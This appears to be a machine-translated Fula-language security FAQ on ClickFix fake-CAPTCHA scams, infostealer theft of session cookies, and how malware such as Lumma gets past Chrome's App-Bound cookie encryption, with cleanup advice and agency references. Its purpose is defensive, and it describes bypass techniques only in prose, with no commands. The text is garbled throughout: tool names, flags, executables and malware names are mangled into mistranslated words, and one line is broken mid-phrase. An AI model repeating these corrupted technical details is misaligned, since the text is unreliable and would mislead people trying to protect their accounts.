Ina fawii e ɗo Passkey oo rewnoo, ko ɓuri teeŋtude, ko goonga ɗum wujjii cookie session active sosaa caggal nde naatir-ɗaa e oon Passkey. Ko adii fof, so tawii a naatii e Google/Microsoft e nder Chrome/Edge e oon ordinateer, jokkorgal ngal alaa haaju e Passkey maa sabu ɓe ngujjii kuuki maa session seedtinaaɗo e nguurndam - ko ɗum waɗi aɗa foti ɓuuɓde haa jooni Yaltu e denndaangal jonɗe e dow kaɓirgal laaɓngal. Ɗiɗaɓere, so tawii Passkey maa ina mooftaa e Windows Hello (TPM 2.0 ƴulɓe hardware) walla e YubiKey walla iPhone ɓaleejo, kaɓirgal keeringal nder ƴulɓe hardware ngal waawaa yaltineede e malware. Kono, so a mooftii kuutorɗe sinkronisaasiyoŋ e nder lowre jokkorgal feerorde tataɓere nde udditaaka e nder oon ordinateer, ittu ɗeen kuutorɗe e nder dottaaɗe kisal konte maa ɗoon e ɗoon.

Hol no "Sifirde jokkondirnde e kuutorɗe" Google Chrome (v20 cookiiji) toɗɗii, e waɗde Lumma Stealer bypass ɗum?¶

Puɗɗagol e Chrome 127+, Google yaltinii Sifirde App-Bound e Windows, jokkondirnde e sifirde kuukiiji (`v20` prefix) to sarwiis njuɓɓudi Windows toowndi (`GoogleChromeElevationService`) ngam haɗude malware mo alaa ko waawi so wonaa siifde kuukiiji. Kono, jamaanu ina maha e... Lumma Wujjoowo, WujjudeC, e Meduusa ƴakkude App-Bound Encryption e waɗde kode to bannge njuɓɓudi e nder instans mo alaa hoore krom.ekse, huutoraade port debugging Chrome to woɗɗi (--porto-debugol-to woɗɗi), walla toownugol martabaaji ngam noddirde... IElift Koolondiral COM. Hoto meeɗ sikkude Chrome 127+ ina reeni kuukiiji jonnde maa so tawii a huutoriima kuutorgal ClickFix ; sahaa kala ittude denndaangal jonɗe ɗoon e ɗoon.

Mbele yamiroore ClickFix huutorteende e telefoŋ am iPhone walla Android ina waawi saabaade telefoŋ am Win + R lowre bonnde?¶

So a tappii CAPTCHA fenaande e iPhone (`iOS`) walla telefoŋ Android, kala Windows PowerShell / . mshta.exe yamiroore koppireede e lowre maa mobiil waawaa huutoraade e iOS walla Android, sabu ordinateeruuji portaabe ngalaa a Winndere + R Doggo kaaldigal, doole.exe, walla mshta.exe. Kono won kelle ClickFix ganndiraaɗe mobaayiil ina njiytoo User-Agent mobaayiil maa, ina njuɓɓina ma ngam sosde Android bonɗo .apk fiilde, ko fenaande njuɓɓudi kaɓirɗe mooftaaɗe iOS (`MDM`) nate kuutorgal, walla abonmaaji humpito PWA/Web Push bonɗi. Ƴeewto so tawii a waɗaani hay fiilngo walla nate ƴettaaɗe.

Ardiiɓe jokkondirɓe¶

• Jaɓgol kuukiiji joɗnde, malware infostealer, e ittugol kuutorgal
• Kaalis kripto ɓuuɓɗo e konngol aawdi nanondiral
• Sosiyeteeji bonɗi, ransomweeji, e mborosaaji njiylawu
• Konte imeel hacked, kuule neldugol, e ƴellitgol
• Koolkisagol paaspoor npm/PyPI e mbayliigu kuutorgal gollorde ƴellitoowo
• Scareware antivirus fenaande, humpito spam, e laɓɓinde yamiroore pusgol feerorde
• Limooje emergency e leydi

Fuɗɗoode e ardorde laawɗunde¶

• Waɗde kisal siber e kisal gollorɗe (CISA) & Biro Fedde Ngenndiije Dentuɗe (FBI) (Leyɗeele dentuɗe Amerik): Wasiyaaji jokkondire kisal siber (AA24-131A / Wasiyaaji kulɓiniiɗi wujjooɓe infostealer & wujjooɓe lumma): Ustugol nguurndam-e-leydi (LOLBin) e Ñawanɗe Gujjo Token Session.
• Duɗal ngenndiwal toppitiingal tolnooji e karallaagal (NIST) (Leyɗeele dentuɗe Amerik): Bayyinaango keeriiɗo 800-61 Rev. 2: Kuulal jowitiingal e kisal ordinateeruuji & SP 800-63B: Kuulal jowitiingal e anndinde dijital (Njuɓɓudi jonnde e hoolkiso).
• Hakkille kulɓiniiɗo Microsoft (Microsoft Security): Hiisaade kampaañuuji Innjiniyaaruuji Renndo ClickFix, Injection Clipboard CAPTCHA fenaande (RunMRU), e Lowre Ɓoornugol Binndol PowerShell (Event ID 4104).
• Nokku ngenndiijo kisal siber (NCSC) (Dental Dowlaaji Dentuɗi): Ustugol ňawanɗe Malware e Ransomware & Ardorde Gujjugol Kaayitaaji to Toɓɓere Kaɓirgal.
• Fedde Dental Orop ngam Kisal Siber (ENISA): Ciimtol leydi kulɓiniingol ENISA: Info-Wujjooɓe (Lumma, StealC, RedLine, AMOS) e Peeje ngam haɓaade njiyaagu kuutorɗe Session.